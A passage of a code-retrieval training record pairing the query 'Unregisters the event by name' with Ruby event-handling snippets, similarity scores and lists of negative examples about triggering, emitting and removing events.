\r\n end\r\n \r\n #CALL FOR A SPECIFIC FIELD THAT HAS CHANGED\r\n trigger_function_name = \"#{:after_change_field}_#{args.field_name}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args) \r\n return false if results == false\r\n \r\n end\r\n \r\n #CALL FOR ANY FIELD THAT CHANGES\r\n trigger_function_name = \"#{:after_change_field}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args)\r\n return false if results == false\r\n \r\n end\r\n \r\n when :before_load #any table can have this event for self table\r\n \r\n continue_with_load = true\r\n \r\n this_trigger_event = \"before_load_#{table_name.downcase}\"\r\n \r\n tables_with_before_load_events = args ? args : event_array(this_trigger_event)\r\n \r\n tables_with_before_load_events.each{|file|\r\n this_table = $tables.attach(file)\r\n \r\n begin\r\n continue_with_load = this_table.send(this_trigger_event)\r\n \r\n rescue=> e\r\n #raise e #THIS SHOULD HAVE BEEN A SYSTEM NOTIFICATION - ADDING NOW BUT LEACING THIS NOTE HERE TO HELP IDENTIFY ANY ISSUES THAT MAY COME TO LIGHT WHICH WERE CONCEALED BY THIS BEFORE...\r\n $base.system_notification(\r\n subject = \"BEFORE LOAD FAILED - #{file}\",\r\n content = \"Don't just stand there and shout it; do something about it... Here's the error:\r\n #{e.message}\r\n <br>\r\n <br>\r\n #{e.backtrace}\"\r\n )\r\n \r\n end\r\n \r\n } if tables_with_before_load_events\r\n \r\n return continue_with_load\r\n \r\n when :after_load #any table can have this event for self table\r\n \r\n this_trigger_event = \"after_load_#{table_name.downcase}\"\r\n \r\n tables_with_after_load_events = args ? args.dup : event_array(this_trigger_event)\r\n \r\n db_config_record(\r\n field_name = \"phase_total\",\r\n new_value = tables_with_after_load_events.join(\",\")\r\n )\r\n db_config_record(\r\n field_name = \"phase_completed\",\r\n new_value = nil\r\n )\r\n \r\n if !args || args.include?(\"move_source_to_dest\")\r\n tables_with_after_load_events.delete(\"move_source_to_dest\")\r\n move_source_to_dest\r\n end\r\n \r\n tables_with_after_load_events.each{|file|\r\n this_table = $tables.attach(file)\r\n db_config_record(\r\n field_name = \"after_load_status\",\r\n new_value = \"Started #{file} - #{DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")}\"\r\n )\r\n \r\n begin\r\n this_table.send(this_trigger_event)\r\n db_config_record = $tables.attach(\"Db_Config\").by_table_name(table_name)\r\n phase_completed = db_config_record.fields[\"phase_completed\"].value\r\n phase_completed = (phase_completed ? \"#{phase_completed},#{file}\" : file)\r\n db_config_record(\r\n field_name = \"phase_completed\",\r\n new_value = phase_completed\r\n )\r\n db_config_record(\r\n field_name = \"after_load_status\",\r\n new_value = \"Completed #{file} - #{DateTime.now.strftime(\"%Y-%m-%d %H:%M:%S\")}\"\r\n )\r\n \r\n rescue=> e\r\n after_load_failed(message = \"#{file} - #{e.message} <br><br> #{e.backtrace}\", e)\r\n raise e\r\n end\r\n \r\n } if tables_with_after_load_events\r\n \r\n when :after_insert\r\n send(:after_insert, args) if respond_to?(:after_insert)\r\n \r\n when :after_save\r\n send(:after_save, args) if respond_to?(:after_save)\r\n \r\n when :before_insert\r\n #Looks in own class for before_insert event, requires the parameter of a Row object to be passed\r\n if respond_to?(:before_insert)\r\n send(:before_insert, args)\r\n else\r\n return true\r\n end\r\n \r\n end\r\n \r\n return true\r\n \r\n end",
"def trigger(*names, &block)\n if block.nil?\n names.each do |name|\n convert_method_to_trigger(name)\n end\n else\n name = names.first\n define_trigger_action(*names, &block)\n define_trigger(name)\n store_trigger(name)\n end\n end",
"def emit(evt_name, *payload)\n evt_name = evt_name.to_sym unless evt_name.is_a?(Symbol)\n event = get_event(evt_name)\n Eventually::Validation::Arity.new(evt_name, self, payload.length).raise_unless_valid!\n event.emit(*payload)\n end",
"def trigger(event_name, data, socket_id = nil)\n trigger!(event_name, data, socket_id)\n rescue PhoenixRails::Error => e\n PhoenixRails.logger.error(\"#{e.message} (#{e.class})\")\n PhoenixRails.logger.debug(e.backtrace.join(\"\\n\"))\n end",
"def trigger(owner, event, *args); end",
"def invoke(name, *args)\n fn = @functions[name]\n raise \"function not imported: #{name}\" if fn.nil?\n # p [name] + args\n result = fn.call(*args)\n \n result = FMod::RESULT[result]\n # p [name,result]\n unless result == :OK\n raise \"FMod Exception: #{result} when calling #{name}\"\n end\n return FMod::RESULT.index result\n end",
"def trigger(event_name, data, socket_id = nil)\n trigger!(event_name, data, socket_id)\n rescue Pusher::Error => e\n Pusher.logger.error(\"#{e.message} (#{e.class})\")\n Pusher.logger.debug(e.backtrace.join(\"\\n\"))\n end",
"def find_event(name)\n bound_events[name] ||\n bound_events[event_model(name).symbol]\n end",
"def get(name = nil, token = :last, not_found = :wait, found = :return, options = {})\n @raw = send_get_request(@conn, ['/v1/event/list'], options, use_named_parameter('name', name))\n body = JSON.parse(@raw.body)\n # TODO: deal with unknown symbols, invalid indices (find_index will return nil)\n idx = case token\n when :first then 0\n when :last then body.length - 1\n when :next then body.length\n else body.find_index { |e| e['ID'] == token } + 1\n end\n if JSON.parse(@raw.body).count.zero? || idx == body.length\n case not_found\n when :reject\n raise Diplomat::EventNotFound, name\n when :return\n event_name = ''\n event_payload = ''\n event_token = :last\n when :wait\n @raw = wait_for_next_event(['/v1/event/list'], options, use_named_parameter('name', name))\n @raw = parse_body\n # If it's possible for two events to arrive at once,\n # this needs to #find again:\n event = @raw.last\n event_name = event['Name']\n event_payload = Base64.decode64(event['Payload'])\n event_token = event['ID']\n end\n else\n case found\n when :reject\n raise Diplomat::EventAlreadyExits, name\n when :return\n event = body[idx]\n event_name = event['Name']\n event_payload = event['Payload'].nil? ? nil : Base64.decode64(event['Payload'])\n event_token = event['ID']\n end\n end\n\n {\n value: { name: event_name, payload: event_payload },\n token: event_token\n }\n end",
"def call event\n fire(event)\n end",
"def fire_event(name)\n @_node.fireEvent(name)\n end",
"def fire_events!(*events); end",
"def trigger(*args)\n username, arguments = extract_username(args)\n trigger_id = get_id_from_arguments(arguments)\n\n get api_url(username, 'triggers', trigger_id)\n end",
"def event(name, transitions={}, &block)\n event = SupportingClasses::Event.new(name, self, transitions, &block)\n @events[name] = event\n define_method(\"#{name}!\") { event.fire(self) }\n end",
"def get(name, argument_types)\n @function_hash[[name, argument_types]]\n end",
"def results\n @results ||= registered_events.map do |event|\n Vedeu.outdent do\n Vedeu.log(type: :event, message: message)\n\n Vedeu.indent do\n event.trigger(*args)\n end\n end\n end\n end",
"def event_raised?(event_name, mode = :instance, *args)\n mc = event_raises[mode][event_name.to_s.to_sym] \n if mc\n vari = mc.find_argument_variations(args)\n result = vari.any? { |agv| agv == args }\n return result if result\n if args.size == 1 and args.last.is_a?(Hash)\n result = vari.any? do |agv|\n agv.args.last.is_a?(Hash) and args.last.all? { |k, v| agv.args.last[k] == v }\n end\n end\n @event_error = \"Event Arguments don't match for #{event_name}.\\n\\nYou expected:\\n#{args.join(\", \")}.\\n\\nI did find the following variations:\\n#{mc.args.collect {|ar| ar.args.join(', ') }.join(' and ')}\" unless result\n result\n else\n @event_error = \"Couldn't find an event with name #{event_name}\"\n return !!mc\n end\n end",
"def triggered event\n events.select do |event_hook|\n event_hook.type.to_sym == event.to_sym\n end\n end",
"def call_subscribers(method_name, *args)\n @in_call = true\n subscribers.each do |s|\n # Skip new/unsupported event names\n next unless s.respond_to?(method_name)\n\n mth = s.method(method_name)\n # Trim arguments to match what the subscriber expects to allow\n # adding new arguments without breaking compat.\n if mth.arity < args.size && mth.arity >= 0\n mth.call(*args.take(mth.arity))\n else\n mth.call(*args)\n end\n end\n ensure\n @in_call = false\n end",
"def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend",
"def event(name, &block)\n @events[name.to_sym] = block if block_given?\n end",
"def trigger_name(proc_name, options)\n if name = options[:name]\n name\n else\n \"trigger_#{proc_name.gsub('(', '').gsub(')', '')}\"\n end\n end",
"def find_events_by_name\n\n print \"Enter name of Event you want to search for: \".blue\n user_input = gets.chomp\n\n events = EventScraperCli::Event.all.find_all {|e| e.name.downcase.match(/#{user_input.downcase}/)}\n\n question = \"Select a Event: \"\n\n chosen_event = list_events(events, question)\n\n chosen_event ? get_details(chosen_event) : return\n\n chosen_event\n end",
"def []( name )\n _handlers[name]\n end",
"def method_missing(name, value=nil)\n if value.nil?\n result.send(name.to_sym)\n else\n @args[name.to_sym] = value\n end\n end",
"def call(name, *args)\n\t\t\tret = {}\n\t\t\teach do |k,v|\n\t\t\t\tret[k] = v.send(name, *args) if v.respond_to?(name)\n\t\t\tend\n\t\t\tret\n\t\tend",
"def event *names, &blk\n names.each do |name|\n Bot::Events.create name, self, nil, &blk\n end\n end",
"def run_event(event, *args)\n unless @events.nil? || @events.empty? || @events[event].nil? || @events[event].empty?\n @events[event].each do |hook|\n if Hooks::is_hook_valid?(hook)\n begin\n hook.call args\n rescue\n end\n end\n end\n end\n true\n end",
"def event(name:, event_args: {})\n {\n event: {\n name: name,\n client_args: client_args,\n event_args: default_event_args.merge(event_args)\n }\n }\n end",
"def event(query_name)\n @client.call(:event, query_name)\n end",
"def trigger(event)\n if @events.include? event\n @triggered << event\n catch(:transition) do\n @events[event].each { |block| instance_eval(&block) }\n nil\n end\n else\n raise NameError, \"No such event: #{event}\"\n end\n end",
"def trigger(event)\n if @events.include? event\n @triggered << event\n catch(:transition) do\n @events[event].each { |block| instance_eval(&block) }\n nil\n end\n else\n raise NameError, \"No such event: #{event}\"\n end\n end",
"def arg(name)\n args = elements[\"arguments\"]\n args.each do |arg|\n arg_name = arg.elements[\"name\"].text\n if arg_name == name\n return arg.elements[\"value\"].text\n end\n end\n nil\n end",
"def emit(name, *args)\n @callbacks[name].each do |callback|\n callback.(*args)\n end\n end",
"def trigger(command, *args)\n command = command.to_sym if command\n\n if Event.command?(command)\n event = Event.new(self, command, args)\n handlers = @event_handlers[event.name] || []\n handlers.each do |handler|\n success = handler.run(event)\n handlers.delete(handler) if success && handler.once\n end\n end\n\n true\n end",
"def matches?(event_name, *args)\n @event_name == event_name and (any_args? or @args == args)\n end",
"def triggerType _args\n \"triggerType _args;\" \n end",
"def send(event_name, &blk)\n # First grab the hash (if necessary)\n ret = @accept[event_name.to_sym]\n return nil unless ret\n attrs = blk.call\n return false unless attrs # Returning false omits the event (for perf)\n raise \"Bad type - attributes must be a hash\" unless attrs.class <= Hash\n attrs[:event_name] = event_name\n attrs[:pkt] = @pkt_count\n attrs[:time] = @last_pkt.time\n \n # Now prune the hash and call our handlers for each event\n ret.each do |alist, where, handler|\n full = Event.new(attrs)\n params = {}\n\n # Apply WHERE filter in this context BEFORE filtering\n if where\n e = event = full\n return nil unless eval(where)\n end\n\n # Build the list of \"arguments\" based on the SELECT statement\n if alist.length == 1 and alist.first == :*\n params = attrs\n else\n params[:event_name] = attrs[:event_name] # always implicitly included\n alist.each { |k| params[k] = attrs[k] }\n end\n\n # Pass off to the approprate handler\n e = Event.new(params)\n handler.call(e, full)\n end # each handler (ret)\n end",
"def find_event(event_name)\n if has_event?(event_name)\n Event.new(self, event_name)\n end\n end",
"def invoke_for_event(evt)\n processor = Apotomo::EventProcessor.instance\n processor.init\n \n fire(evt) # this stores the content in the EventProcessor, which is semi-clean.\n \n return processor.process_queue_for(root, evt)\n end",
"def trigger_for_index!(event_name, index, *passed_args)\n self.trigger_by_scope!(event_name, *passed_args) do |scope|\n # method_name, *args, block = scope\n method_name, args, block = split_scope(scope)\n\n result = case method_name\n when nil\n # no method name means the event was bound directly, we don't\n # want to trigger changed on the array its self.\n false\n when :[]\n # Extract the current index if its reactive\n arg_index = args[0].cur\n\n # TODO: we could handle negative indicies better\n arg_index == index.cur || arg_index < 0\n when :last\n index.cur == self.size-1\n when :first\n index.cur == 0\n when :size, :length\n # Size does not depend on the contents of the cells\n false\n else\n true\n end\n\n result = false if method_name == :reject\n\n result\n end\n end",
"def find_event(event_name)\n @events.find { |event| event.name.to_s == event_name.to_s }\n # TODO: use a data structure that prevents duplicates\n end",
"def find_by_name(name)\n raise TypeError, 'name must respond to #to_sym' unless name.respond_to?(:to_sym)\n name = name.to_sym\n \n all.find { |event_class| event_class.name == name }\n end",
"def define_event(name, args = {})\n args = {:create_method => true}.merge(args)\n name = name.to_sym\n \n if args[:create_method]\n define_method name do\n return event(name)\n end\n end\n \n @unobservable_instance_events ||= Set.new\n if @unobservable_instance_events.include? name\n return false\n else\n @unobservable_instance_events.add name\n return true\n end\n end",
"def execute(trigger, event, *args)\n begin\n case\n when Triggers.is_add?(trigger) || Triggers.is_match?(trigger) || Triggers.is_complex_match?(trigger)\n if enabled?\n logger.info \"Generating a match alert for #{pattern.name}\"\n add_event event\n @sender.send trigger, event, pattern, self, :index => @alert_counter, :size => 1\n else\n #logger.info \"Alerter #{id} for pattern #{pattern_name} is disabled, ignoring match\"\n end\n when Triggers.is_threshold?(trigger)\n if enabled?\n logger.info \"Generating a threshold alert for #{pattern.name}\"\n add_event event\n @sender.send trigger, event, pattern, self, :index => @alert_counter, :size => args[0]\n else\n logger.info \"Alerter #{id} for pattern #{pattern_name} is disabled, ignoring match\"\n end\n when Triggers.is_remove?(trigger)\n logger.info \"Removing an event from alert set for #{pattern.name}\"\n remove_event event\n else\n logger.info \"Unknown trigger received from #{pattern.name}\"\n nil\n end\n rescue Exception => ex\n logger.error \"Failed to send alert\", Java::org.jruby.exceptions.RaiseException.new(ex)\n end\n end",
"def run_hook(name, *args)\n # return unless hooks = Resque.send(name)\n return unless hook = APN::QueueManager.send(name)\n msg = \"Running #{name} hook\"\n msg << \" with #{args.inspect}\" if args.any?\n log msg\n\n # Newer resque versions allow for multiple hooks rather than just one.\n # APN sender may still just return a single hook so massage the value\n # to always be inside an Array.\n hooks = hook.is_a?(Array) ? hook : Array[hook]\n hooks.each do |hook|\n args.any? ? hook.call(*args) : hook.call\n end\n end",
"def method_missing(name, *args)\n\t\t\tselector_type, code = @AS_app_data.reference_by_name[name]\n\t\t\tcase selector_type # check if name is a property/element/command name, and if it is handle accordingly\n\t\t\t\twhen :property\n\t\t\t\t\treturn Reference.new(@AS_app_data, @AS_aem_reference.property(code.fourCharCode))\n\t\t\t\twhen :element\n\t\t\t\t\treturn Reference.new(@AS_app_data, @AS_aem_reference.elements(code.fourCharCode))\n\t\t\t\twhen :command\n\t\t\t\t\treturn _send_command(args, name, code)\n\t\t\telse \n\t\t\t\t# MacRuby munges unhandled messages of form ref.name(arg1, key1:arg2, ...) into\n\t\t\t\t# ref.method_missing(:'name:key1:', [arg1, arg2]), so check for this form as well\n\t\t\t\tname, *argnames = name.to_s.split(':', -1).collect { |s| s.intern }\n\t\t\t\targnames.pop\n\t\t\t\tif argnames.size == args.size - 1\n\t\t\t\t\tselector_type, code = @AS_app_data.reference_by_name[name]\n\t\t\t\t\treturn _send_command([args.shift, Hash[argnames.zip(args)]], name, code) if selector_type == :command\n\t\t\t\tend\n\t\t\t\t# see if it's a method that has been added to Object class [presumably] at runtime, but excluded\n\t\t\t\t# by MRASafeObject to avoid potential conflicts with property/element/command names\n\t\t\t\tbegin\n\t\t\t\t\tmeth = Object.instance_method(name)\n\t\t\t\trescue NameError # message not handled\n\t\t\t\t\tmsg = \"Unknown property, element or command: '#{name}'\"\n\t\t\t\t\tif @AS_app_data.reference_by_name.has_key?(\"#{name}_\".intern)\n\t\t\t\t\t\tmsg += \" (Did you mean '#{name}_'?)\"\n\t\t\t\t\tend\n\t\t\t\t\traise RuntimeError, msg\n\t\t\t\tend\n\t\t\t\treturn meth.bind(self).call(*args)\n\t\t\tend\n\t\tend",
"def raise_hook(event, tf, arg=nil)\n return unless 'raise' == event\n $args << arg.to_s\n end",
"def publish(name, context = {})\n redis.publish \"event:#{name}\", MultiJson.dump(context)\n end",
"def event(name, data = {})\n post!(EVENT_PATH, event: {name: name, data: data})\n true\n rescue Exception\n false\n end",
"def trigger(event, payload={})\n broadcast(false, \"triggered.event\", { event: event, payload: payload })\n broadcast(true, event, payload)\n end",
"def trigger_by_scope!(event, *args, &block)\n trigger!(event, block, *args)\n end",
"def handle(event, args={})\n return unless valid_event(event, args)\n\n performed_by = args.delete(:performed_by)\n\n puts \"Received (#{event} event), Performed By: #{performed_by}, Options: #{args.inspect}\"\n game_manager.send(\"handle_#{event}_event\", performed_by, args)\n puts \"Completed (#{event} event)\"\n \n puts \"Status......\"\n game_manager.status\n end",
"def find_event_model(name)\n find_event(name.to_sym)\n end",
"def create_event(name=nil, auto=false, signalled=false)\r\n auto = (1 if auto) || 0\r\n signalled = (1 if signalled) || 0\r\n name ||= 0\r\n\r\n r = CALLS[\"kernel32!CreateEvent:LLLP=L\"].call(0, auto, signalled, name);\r\n raise WinX.new(:create_event) if r == 0\r\n return r\r\n end",
"def get_hook(event_name, hook_name)\n @hooks[event_name] ||= []\n hook = @hooks[event_name].find { |current_hook_name, callable| current_hook_name == hook_name }\n hook.last if hook\n end",
"def event(name, &block)\n add_event name, &block\n end",
"def notify_listeners(event_name, *args)\n listeners.each_value { |listener|\n if listener.respond_to?(event_name)\n listener.__send__(event_name, *args)\n end\n }\n end",
"def execute(key, object)\n function = @events[key] if @events.key?(key)\n function.call(key, object) if function\n end",
"def fire(hook, *args); end",
"def trigger\n raise ArgumentError, \"A paper is required\" if paper.nil?\n raise ArgumentError, \"Event #{name} not registered\" unless self.class.allowed?(name)\n raise StandardError, \"Event #{self} already triggered\" if @triggered\n\n # Run handlers\n paper.journal.behaviors.where(event_name: name).each { |behavior| behavior.call(self) }\n\n # Broadcast it\n Notifier.notify(event: name, data: notify_payload)\n\n # Log to the activity feed\n Activity.create!(**activity_feed_payload)\n @triggered = true\n end",
"def handle_input(menu_pick)\n\n case menu_pick\n when \"find by country\"\n event = find_events_by_country\n when \"find by city\"\n event = find_events_by_city\n when \"find by date\"\n event = find_events_by_date\n when \"find by name\"\n event = find_events_by_name\n end\n\n event\n end",
"def fire(*args, &block)\n listeners.each do |listener|\n listener.call(*args, &block)\n end\n if options[:single_event]\n unregister_all\n end\n end",
"def get_event_object(args)\n if args.is_a? Event\n this_event = args\n else\n this_event = Event.new(args)\n end\n end",
"def processEvent(eventName)\n\tend",
"def name\n @args['name']\n end"
] | [
"0.63373756",
"0.63373756",
"0.63167703",
"0.6304516",
"0.6193974",
"0.61852914",
"0.6161528",
"0.6115156",
"0.6016299",
"0.59253484",
"0.5922085",
"0.5793874",
"0.5752463",
"0.5727183",
"0.5715739",
"0.56951404",
"0.56702304",
"0.56689626",
"0.56689507",
"0.5660282",
"0.5638943",
"0.56167006",
"0.56167006",
"0.5604196",
"0.5517099",
"0.55169517",
"0.5497344",
"0.54882133",
"0.5458609",
"0.54396087",
"0.5435212",
"0.54323286",
"0.54275465",
"0.5402289",
"0.5375251",
"0.5368107",
"0.53602517",
"0.534279",
"0.53384125",
"0.53373694",
"0.5318549",
"0.53135586",
"0.52353543",
"0.52336776",
"0.5195435",
"0.51889706",
"0.5182781",
"0.5170732",
"0.5169786",
"0.5168984",
"0.51602244",
"0.5148092",
"0.5140255",
"0.51395935",
"0.51394665",
"0.51365584",
"0.51208794",
"0.5118295",
"0.51063263",
"0.5099761",
"0.5091733",
"0.5089849",
"0.5080063",
"0.50742245",
"0.5065154",
"0.5065154",
"0.50460136",
"0.5034342",
"0.5021618",
"0.50211686",
"0.50077516",
"0.4991161",
"0.49816182",
"0.4981608",
"0.4981326",
"0.49754775",
"0.49646723",
"0.49549943",
"0.4937037",
"0.49317762",
"0.49298543",
"0.49248406",
"0.492239",
"0.491992",
"0.4915584",
"0.4915558",
"0.4915359",
"0.49150297",
"0.48857784",
"0.48741657",
"0.48641935",
"0.4861086",
"0.48608974",
"0.48532254",
"0.48492223",
"0.4847757",
"0.48443452",
"0.4838361",
"0.48348472",
"0.4828787"
] | 0.662765 | 0 |
Unregisters the event by name, effectively deleting the associated events bound with it also. | def unevent(name)
Events.remove(name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def off(event_name)\n events.delete(event_name.to_sym)\n end",
"def unregister name\n @tags.delete(name)\n end",
"def unregister name\n @tags.delete(name)\n end",
"def off(event_type = ANY_EVENT, name = ANY_STATE, &callback)\n sync_exclusive do\n hooks.unregister event_type, name, callback\n end\n end",
"def off(event_type = ANY_EVENT, name = ANY_STATE, &callback)\n sync_exclusive do\n hooks.unregister event_type, name, callback\n end\n end",
"def unsubscribe(name)\n EM.schedule { @subs.delete name }\n end",
"def clear_event_hooks(event_name)\n @hooks[event_name.to_s] = []\n end",
"def off(name)\n raise(ArgumentError, 'Argument `name` must be a String.') unless name.is_a?(String)\n @handlers.delete(name)\n return self\n end",
"def delete_hooks(event_name)\n @hooks[event_name] = []\n end",
"def remove_event(event)\n @events.delete(event)\n end",
"def unsubscribe(key)\n @lock.synchronize do\n @handlers.clear\n @@name2inst.delete_if { |k, v| k == id.to_sym || k == address.to_sym}\n end\n end",
"def unsubscribe(name)\n id = @subs[name]\n\n self.send(msg: 'unsub', id: id)\n end",
"def deregister_extension(name)\n self.ext.aliases.delete(name)\n end",
"def remove_event_subscription(event_name, mode, handler)\n ((events[mode] ||= {})[event_name_for(event_name)] ||=[]).delete(handler)\n end",
"def unregister(name)\n resource = resources.delete(name)\n if resource\n resource.bulkhead&.unregister_worker\n consumers_for_resource = consumers.delete(name) || []\n consumers_for_resource.each do |consumer|\n if consumer.weakref_alive?\n consumer.clear_semian_resource\n end\n rescue WeakRef::RefError\n next\n end\n end\n end",
"def unload name\n raise \"Cannot unload: No such script #{name}\" unless @scripts.has_key? name\n\n @scripts[name].die if @scripts[name].respond_to? \"die\"\n\n @scripts[name].unregister_script\n @scripts[name].unregister_commands\n @scripts[name].unregister_events\n\n @scripts.delete name\n end",
"def unregister(event_type, body, opts = {})\n data, _status_code, _headers = unregister_with_http_info(event_type, body, opts)\n return data\n end",
"def remove(name)\n if hook = by_name(name)\n hook.destroy!\n end\n end",
"def unsubscribe(name, &block)\n @driver.unsubscribe(name, &block)\n end",
"def unload name\n raise \"Cannot unload: No such script #{name}\" unless @scripts.key? name\n\n @scripts[name].die if @scripts[name].respond_to? \"die\"\n\n Events.dispatch_for @scripts[name], :unloading\n\n Events.delete_for @scripts[name]\n URL.delete_for @scripts[name] if defined? MODULE_LOADED_URL_HANDLER\n RegexHandlerManager.delete_for @scripts[name] if defined? MODULE_LOADED_REGEX_HANDLER\n\n @scripts[name].unregister_script\n @scripts[name].unregister_commands\n @scripts[name].unregister_events\n\n @scripts.delete name\n end",
"def unsubscribeTo (event)\r\n @subscribedEvents.delete?(event)\r\n end",
"def unregister_adapter(name)\n @@loaded_adapters.delete(name)\n end",
"def first_event(name)\n cls = MAPPINGS[name]\n if cls.nil?\n raise ArgumentError, \"Bogus event name #{name}\"\n end\n matching = events.find do |event|\n cls === event\n end\n events.delete(matching)\n matching\n end",
"def remove_listener(name)\n @listeners.delete name\n end",
"def del(name)\n data.delete(name)\n end",
"def unsubscribe(name)\n if subscriptions.has_key? name\n subscriptions[name].queue.unsubscribe(:nowait => false)\n subscriptions.delete(name)\n end\n end",
"def remove_group(name)\n @handlers.delete_if { |o| o.group == name }\n end",
"def dele(packet, params)\n\t\tif params[:name]\n\t\t\tif (event = Event.find_by_name(params[:name]))\n\t\t\t\tevent.destroy\n\t\t\t\tpacket.data = 'OK'\n\t\t\telse\n\t\t\t\tpacket.data = 'KO'\n\t\t\t\tlog_error(\"[dele] event #{params[:name]} doesn't existe\")\n\t\t\tend\n\t\telse\n\t\t\tpacket.data = 'KO'\n\t\t\tlog_error(\"[dele] name event is missing\")\n\t\tend\n\t\tpacket\n\tend",
"def unsubscribe(event, *args, &block)\n raise HandlerError.new \"Unable to unsubscribe, there is no event #{event}\" unless events[event.to_sym]\n events[event.to_sym].unsubscribe(*args, &block)\n end",
"def unregister_from_event_loop\n if @loop == :em\n @em_connection.unattach(false)\n else\n raise NotImplementedError.new(\"unregister_from_event_loop not implemented for #{@loop}\")\n end\n end",
"def remove name\n delete(name)\n end",
"def remove_handler(name, handler)\n return unless subscriptions.has_key? name\n subscriptions[name].handlers.delete(handler)\n end",
"def deregister_extension_alias(name)\n self.ext_aliases.aliases.delete(name)\n end",
"def unregister_observer(observer, cmd_name)\n cmd= Protocol.find_cmd_by_name(cmd_name)\n list= @observers[cmd.code]\n list.delete(observer) unless list.nil?\n end",
"def unregister(symbol); end",
"def pop_event!(name = nil)\n return false unless dir.exist?\n\n list = local_events_with_name(name)\n return false if list.empty?\n\n ev_file = list.max\n File.unlink(ev_file)\n ev_file.basename.to_s\n end",
"def unsubscribe_request_hook(name)\n EasyPost::Hooks.unsubscribe(:request, name)\n end",
"def remove_event!(date, event_name)\n return NO_EVENTS_AT_DATE unless events_at?(date)\n return EVENT_NAME_DOESNOT_EXIST unless event_name_exists?(date, event_name)\n\n events_on_date = @calendar_events[date]\n events_on_date.delete(event_name)\n @calendar_events.delete(date) if events_on_date.empty?\n SUCCESS\n end",
"def unsubscribe(message_name)\n @transport.unbind(message_name, @queue)\n \n #has key check\n @subscriptions.delete(message_name)\n \n end",
"def unsubscribe\n unregister\n end",
"def unset(name)\n update(name, nil)\n end",
"def unregister(*args, &block)\n h = Unobservable.handler_for(*args, &block)\n index = @handlers.index(h)\n if index\n @handlers.slice!(index)\n return h\n else\n return nil\n end\n end",
"def unsubscribe(cls)\n @subscribers.delete(name)\n end",
"def gcdelete_event\n cal_event = Event.find_by(gamecall_tag: self.id)\n cal_event.destroy if cal_event\n end",
"def removeNamedItem(name)\n getNamedItem(name).remove\n end",
"def unregister_script name\n $log.debug(\"ScriptManager.register_script\") { \"Unregistering script: #{name}\" }\n @script_info.delete_if {|s| s.name == name}\n end",
"def remove(name)\n gladiators.reject! { |g| g.name == name }\n end",
"def uncheck_event(event_name)\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(event_name)}/)\n end",
"def unregister(path)\n\t\t\t\tpath = path.to_sym\n\t\t\t\tif @@registry[path]\n\t\t\t\t\t@@registry_count[path] -= 1\n\t\t\t\t\tif @@registry_count[path] <= 0\n\t\t\t\t\t\tsub = @@registry.delete(path)\n\t\t\t\t\t\tsub.unsubscribe\n\t\t\t\t\t\t@@registry_count.delete(path)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def remove\n if @removed\n # raise \"event #{@event} already removed\"\n puts \"event #{@event} already removed\"\n return\n end\n\n if DEBUG && RUBY_PLATFORM == 'opal'\n @@all_events.delete(self) if @@all_events\n\n `window.total_listeners -= 1;`\n `console.log(\"Rem\", window.total_listeners);`\n end\n\n\n @removed = true\n @klass.remove_listener(@event, self)\n\n # We need to clear these references to free the memory\n @scope_provider = nil\n @callback = nil\n # @klass2 = @klass\n @klass = nil\n # @event = nil\n\n end",
"def removed(attribute_name)\n changed(attribute_name)\n end",
"def removed(attribute_name)\n changed(attribute_name)\n end",
"def delete\n MoxiworksPlatform::Event.delete(self.to_hash)\n end",
"def unregister_type\n types_list.delete self\n end",
"def remove(name)\n @collection.delete_if { |f| f.name == name }\n end",
"def remove(event_type, event)\n @events[event_type].delete_if {|stored_event| stored_event == event} if event_is_defined(event_type)\n end",
"def clear(name)\n @hooks[name] = {}\n end",
"def delete_hook(event_name, hook_name)\n @hooks[event_name] ||= []\n deleted_callable = nil\n\n @hooks[event_name].delete_if do |current_hook_name, callable|\n if current_hook_name == hook_name\n deleted_callable = callable\n true\n else\n false\n end\n end\n deleted_callable\n end",
"def deregister\n @event = Event.find(params[:id])\n if user_signed_in?\n flash[:notice] = \"You are now deregistered.\"\n #removes the event from the users list of events\n current_user.events.delete(@event)\n @event.save\n end\n redirect_to events_path\n end",
"def unregister\n @is_registered = false\n self\n end",
"def remove_by_name(name)\n p = get_by_name(name)\n if (p != nil)\n return remove(p)\n end \n end",
"def delete_notifier(name)\n @notifiers.delete(name) if defined? @notifiers\n end",
"def destroy\r\n @event.destroy\r\n end",
"def del_msg_listener( msgName, object )\n @msgNames[msgName].delete object if defined? @msgNames\n end",
"def remove_by_name(name)\n fw = get_by_name(name)\n if (fw != nil)\n return remove(fw)\n end \n end",
"def deregister_event_handlers\n\t\tframework.events.remove_session_subscriber(self)\n\tend",
"def remove(name)\n self.class.remove(name, @jira_key)\n end",
"def off(event,context=nil)\n if @events[event]\n if context\n @events[event].delete(context)\n else\n @events[event].clear\n end\n @events.delete(event) if @events[event].empty?\n end\n end",
"def remove_trigger plugin_name\n events.reject! { |event| event.plugin == plugin_name.to_s }\n end",
"def remove_event(event)\n key = event.key\n @queue.delete(key)\n @updated_keys.delete(key)\n end",
"def unregister(object)\n\t\t\[email protected](object)\n\t\tend",
"def remove(event)\n @remove.each do |field|\n event.remove(field)\n end\n end",
"def remove( name ) @appenders.delete(name) end",
"def remove_resource(name)\n self.resources.delete(name)\n end",
"def deregister(fd:)\n delete_from_selector(fd: fd)\n delete_callbacks(fd: fd)\n end",
"def delete(name)\n name = name.to_sym\n if @values.key? name\n delete_name name\n @values.delete name\n end\n end",
"def onstatechange_unregister(b)\n @onstatechange_list.delete b\n end",
"def onstatechange_unregister(b)\n @onstatechange_list.delete b\n end",
"def unsubscribe_response_hook(name)\n EasyPost::Hooks.unsubscribe(:response, name)\n end",
"def remove(name)\n @j_map.remove(name)\n self\n end",
"def off(hook_type, name = ANY_STATE, &callback)\n sync_exclusive do\n hooks.unregister hook_type, name, callback\n end\n end",
"def remove_subscription_entry(name)\n\t\tend",
"def un(event)\n @un[event.to_sym] = true\n found = @after.delete_if { |s| s.start_with?(\"#{get_var}.on(#{event.to_json}\") if s.is_a?(String) }\n after << \"#{get_var}.un(#{event.to_json})\" unless found\n end",
